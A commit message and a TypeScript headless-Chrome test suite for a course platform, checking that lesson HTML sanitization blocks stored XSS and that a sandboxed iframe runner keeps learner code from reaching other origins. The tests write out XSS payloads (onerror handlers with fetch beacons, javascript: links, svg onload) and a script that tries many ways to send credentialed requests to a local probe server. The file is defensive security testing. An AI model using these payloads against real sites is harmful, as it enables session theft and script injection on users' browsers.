C1: lesson HTML goes through a sanitize-html allowlist on the fully rendered output (no on* attributes, no style, no svg/math/iframe/object/embed/form; URLs limited to http(s), mailto, relative and anchors). Raw tags outside the allowlist are escaped as text. The SPA document is served with a CSP (script-src 'self', no inline script) through spaWithCsp in main.ts; contract request §5 asks core to own it. C2: exercises run in <iframe sandbox="allow-scripts"> (opaque origin, no cookies) loaded from /api/learner/runner-frame, whose CSP allows only its own script (by hash) and blob: workers, and connect-src 'none'. postMessage only, both sides check event.source; the timeout removes the frame. The worker stubs now also cover Worker, SharedWorker and caches. I1: learner visibility calls core canView with per-course authorship only, like /api/media (contract request §6). I2: Tab and Shift+Tab move focus; Enter keeps the previous line's indentation. Tests: XSS unit cases, headless-Chrome checks for the exploit lesson and for fetch, import, Cache.add, nested Worker, img, EventSource, WebSocket, XHR and sendBeacon from learner and test code (plus a negative control), visibility on both dialects, SPA and runner-frame CSP headers. Co-Authored-By: Claude Opus 5.5 <[email protected]>
186 lines
11 KiB
TypeScript
186 lines
11 KiB
TypeScript
// Headless-Chrome checks for the two security findings (C1 stored XSS, C2 runner isolation).
|
|
// Skipped when no Chrome is installed.
|
|
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
import { mkdtempSync, readFileSync } from "node:fs";
|
|
import { tmpdir } from "node:os";
|
|
import { join } from "node:path";
|
|
import { connect, type Db } from "@stc/db";
|
|
import { runMigrations } from "../src/server/migrate";
|
|
import { spaCsp } from "../src/server/spa";
|
|
import { makeApp, FIXTURES } from "./app";
|
|
import { Chrome, chromePath } from "./chrome";
|
|
|
|
interface Hit { path: string; cookie: string | null }
|
|
|
|
let chrome: Chrome, db: Db, app: Bun.Server<undefined>, probe: Bun.Server<undefined>;
|
|
const hits: Hit[] = [];
|
|
let P = "", ORIGIN = "";
|
|
|
|
const run = chromePath ? describe : describe.skip;
|
|
|
|
run("browser isolation (headless Chrome)", () => {
|
|
beforeAll(async () => {
|
|
// Bundled in a separate process: Bun.build inside a full bun test run is unreliable (EISDIR on node_modules).
|
|
const out = join(mkdtempSync(join(tmpdir(), "stc-harness-")), "harness.js");
|
|
const build = Bun.spawnSync([process.execPath, "build", join(import.meta.dir, "e2e/harness.tsx"), "--target=browser", "--outfile", out], { stdout: "pipe", stderr: "pipe" });
|
|
if (build.exitCode !== 0) throw new Error(`harness build failed: ${build.stderr.toString()}`);
|
|
const js = await Bun.file(out).text();
|
|
|
|
// A separate origin that records every request (and the cookie it carried). Cookies ignore ports, so a
|
|
// request from a same-site context would carry the page's cookie here.
|
|
probe = Bun.serve({
|
|
hostname: "localhost", port: 0,
|
|
fetch(req) {
|
|
const u = new URL(req.url);
|
|
hits.push({ path: u.pathname, cookie: req.headers.get("cookie") });
|
|
const js = u.pathname.endsWith(".js");
|
|
return new Response(js ? "export default 1;" : "ok", { headers: { "Access-Control-Allow-Origin": "*", "Content-Type": js ? "text/javascript" : "text/plain" } });
|
|
},
|
|
});
|
|
P = `http://localhost:${probe.port}`;
|
|
|
|
db = await connect("sqlite://:memory:");
|
|
await runMigrations(db);
|
|
const { app: learner } = await makeApp(db, [FIXTURES]);
|
|
const page = `<!doctype html><html><head><meta charset="utf-8"><script type="module" src="/harness.js"></script></head><body><div id="root"></div></body></html>`;
|
|
app = Bun.serve({
|
|
hostname: "localhost", port: 0,
|
|
fetch(req) {
|
|
const u = new URL(req.url);
|
|
// The harness page gets the same CSP as the SPA document.
|
|
if (u.pathname === "/harness.html") return new Response(page, { headers: { "Content-Type": "text/html", "Content-Security-Policy": spaCsp(), "Set-Cookie": "stc_probe=secret-session; Path=/; SameSite=Lax" } });
|
|
// The same page without any CSP: the runner must isolate learner code on its own.
|
|
if (u.pathname === "/harness-nocsp.html") return new Response(page, { headers: { "Content-Type": "text/html" } });
|
|
// Same-origin probe: a request here from learner code would carry the session cookie.
|
|
if (u.pathname.startsWith("/cookie-probe")) {
|
|
hits.push({ path: `app:${u.pathname}`, cookie: req.headers.get("cookie") });
|
|
return new Response("export default 1;", { headers: { "Content-Type": "text/javascript" } });
|
|
}
|
|
if (u.pathname === "/harness.js") return new Response(js, { headers: { "Content-Type": "text/javascript" } });
|
|
return learner.fetch(req);
|
|
},
|
|
});
|
|
ORIGIN = `http://localhost:${app.port}`;
|
|
chrome = await Chrome.launch();
|
|
await chrome.goto(`${ORIGIN}/harness.html`, 2000);
|
|
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
|
|
}, 30_000);
|
|
|
|
afterAll(async () => {
|
|
await chrome?.close();
|
|
app?.stop(true);
|
|
probe?.stop(true);
|
|
await db?.close();
|
|
});
|
|
|
|
test("control: the probe sees requests from this browser, with the page's cookie", async () => {
|
|
// The SPA CSP (connect-src 'self') blocks fetches from the page itself, so the control is a top-level
|
|
// navigation. It proves that a leak would be recorded, and would carry the cookie.
|
|
await chrome.goto(`${P}/control`, 500);
|
|
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
|
|
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
|
|
const c = hits.find((h) => h.path === "/control");
|
|
expect(c).toBeDefined();
|
|
expect(c!.cookie ?? "").toContain("stc_probe=secret-session");
|
|
});
|
|
|
|
test("the SPA CSP itself blocks a page-level fetch to another origin", async () => {
|
|
const before = hits.length;
|
|
const r = await chrome.eval<string>(`fetch(${JSON.stringify(P + "/page-fetch")}).then(() => "open", (e) => "blocked")`);
|
|
expect(r).toBe("blocked");
|
|
expect(hits.slice(before)).toEqual([]);
|
|
});
|
|
|
|
test("the runner still works inside the sandboxed frame", async () => {
|
|
const dir = join(FIXTURES, "sample/exercises/add");
|
|
const tests = readFileSync(join(dir, "tests.js"), "utf8"), starter = readFileSync(join(dir, "starter.js"), "utf8");
|
|
const fail = await chrome.eval<{ passed: boolean; expected?: string; actual?: string }[]>(`stcRun(${JSON.stringify(starter)}, ${JSON.stringify(tests)}, 5000)`);
|
|
expect(fail.map((r) => r.passed)).toEqual([false, false]);
|
|
expect(fail[0]).toMatchObject({ expected: "5", actual: "-1" });
|
|
const pass = await chrome.eval<{ passed: boolean }[]>(`stcRun(${JSON.stringify(starter.replace("a - b", "a + b"))}, ${JSON.stringify(tests)}, 5000)`);
|
|
expect(pass.map((r) => r.passed)).toEqual([true, true]);
|
|
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
|
|
}, 20_000);
|
|
|
|
test("the timeout destroys the frame and its worker", async () => {
|
|
const tests = `export const tests = [{ name: "loop", run: (m) => m.spin() }];`;
|
|
const r = await chrome.eval<{ passed: boolean; message?: string }[]>(`stcRun("export function spin() { while (true) {} }", ${JSON.stringify(tests)}, 800)`);
|
|
expect(r[0]!.passed).toBe(false);
|
|
expect(r[0]!.message).toContain("Timed out");
|
|
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
|
|
}, 20_000);
|
|
|
|
const attack = (who: string) => `
|
|
const P = ${JSON.stringify(P)} + "/${who}";
|
|
const tryIt = (f) => { try { const r = f(); if (r && typeof r.then === "function") r.then(() => {}, () => {}); } catch (_) {} };
|
|
tryIt(() => fetch(P + "-fetch", { credentials: "include" }));
|
|
tryIt(() => import(P + "-import.js"));
|
|
tryIt(() => import(URL.createObjectURL(new Blob(['import "' + P + '-static-import.js";'], { type: "text/javascript" }))));
|
|
tryIt(() => caches.open("x").then((c) => c.add(P + "-cache")));
|
|
tryIt(() => new Worker(URL.createObjectURL(new Blob(['fetch("' + P + '-nested", { credentials: "include" })'], { type: "text/javascript" }))));
|
|
tryIt(() => { const i = new Image(); i.src = P + "-img"; });
|
|
tryIt(() => new EventSource(P + "-es", { withCredentials: true }));
|
|
tryIt(() => new WebSocket(P.replace("http", "ws") + "-ws"));
|
|
tryIt(() => { const x = new XMLHttpRequest(); x.open("GET", P + "-xhr"); x.send(); });
|
|
tryIt(() => importScripts(P + "-importscripts.js"));
|
|
tryIt(() => navigator.sendBeacon && navigator.sendBeacon(P + "-beacon", "x"));
|
|
tryIt(() => import(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}.js"));
|
|
tryIt(() => fetch(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}-fetch", { credentials: "include" }));
|
|
`;
|
|
const code = () => `${attack("code")}\nexport const add = (a, b) => a + b;`;
|
|
const tests = () => `${attack("tests")}\nexport const tests = [{ name: "wait", run: async () => { ${attack("run")} await new Promise((r) => setTimeout(r, 1500)); } }];`;
|
|
const leaksFrom = async (fn: "stcRun" | "stcRunPlain") => {
|
|
const before = hits.length;
|
|
await chrome.eval(`${fn}(${JSON.stringify(code())}, ${JSON.stringify(tests())}, 4000)`);
|
|
await Bun.sleep(1500);
|
|
return hits.slice(before);
|
|
};
|
|
|
|
let controlEnd = 0;
|
|
test("negative control: without the sandbox, a same-origin worker on a page without CSP leaks", async () => {
|
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
|
const leaked = await leaksFrom("stcRunPlain");
|
|
// Dynamic import gets through the stubs, to other origins and, with the session cookie, to the app itself.
|
|
expect(leaked.map((h) => h.path)).toContain("/code-import.js");
|
|
expect(leaked.some((h) => h.path === "app:/cookie-probe-code.js" && (h.cookie ?? "").includes("stc_probe"))).toBe(true);
|
|
controlEnd = hits.length;
|
|
}, 30_000);
|
|
|
|
test("C2: learner and test code reach nothing from the sandboxed runner, even on a page without CSP", async () => {
|
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
|
expect(await leaksFrom("stcRun")).toEqual([]);
|
|
}, 30_000);
|
|
|
|
test("C2: learner and test code reach nothing from the sandboxed runner on the SPA (with its CSP)", async () => {
|
|
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
|
|
expect(await leaksFrom("stcRun")).toEqual([]);
|
|
// Only the control navigation (and the favicon request Chrome makes for it) ever carried the cookie.
|
|
// (The negative control's own leaks are excluded; they ran the old design on purpose.)
|
|
expect(hits.slice(controlEnd).filter((h) => (h.cookie ?? "").includes("stc_probe"))).toEqual([]);
|
|
}, 30_000);
|
|
|
|
test("C1: the reviewer's exploit lesson does not run script in LessonView (page without CSP)", async () => {
|
|
// No CSP here, so the sanitizer alone has to stop the script.
|
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
|
const beacon = `fetch('${P}/xss')`;
|
|
const md = [
|
|
"<details>\n<summary>Think first</summary>\n<img src=x onerror=\"window.__xss=1;" + beacon + "\"\n\nNext paragraph\n</details>",
|
|
"<div>\n<img src=x onerror=window.__xss=2\n\nAnother\n</div>",
|
|
"<svg onload=\"window.__xss=3\"></svg>",
|
|
"<details><summary onclick=\"window.__xss=4\">Hint 1 — nudge</summary>\n\nx\n\n</details>",
|
|
"[a](javascript:window.__xss=5) [b](JaVaScRiPt:window.__xss=6) <a href=\"javascript:window.__xss=7\">c</a>",
|
|
"<iframe src=\"javascript:parent.__xss=8\"></iframe><script>window.__xss=9</script>",
|
|
].join("\n\n");
|
|
const before = hits.length;
|
|
const html = await chrome.eval<string>(`stcRenderLesson(${JSON.stringify(md)}, ${JSON.stringify("<img src=x onerror=window.__xss=10")})`);
|
|
// Click every link and summary, as a learner would.
|
|
await chrome.eval(`(() => { for (const a of document.querySelectorAll("#root a, #root summary")) { try { a.dispatchEvent(new MouseEvent("click", { bubbles: true, cancelable: true })); } catch (_) {} } })()`);
|
|
await Bun.sleep(800);
|
|
expect(await chrome.eval("window.__xss ?? null")).toBeNull();
|
|
expect(chrome.dialogs).toEqual([]);
|
|
expect(hits.slice(before).filter((h) => h.path === "/xss")).toEqual([]);
|
|
expect(html).toContain("Next paragraph");
|
|
expect(html).not.toMatch(/<[a-z][^>]*\son[a-z]+=/i);
|
|
}, 30_000);
|
|
});
|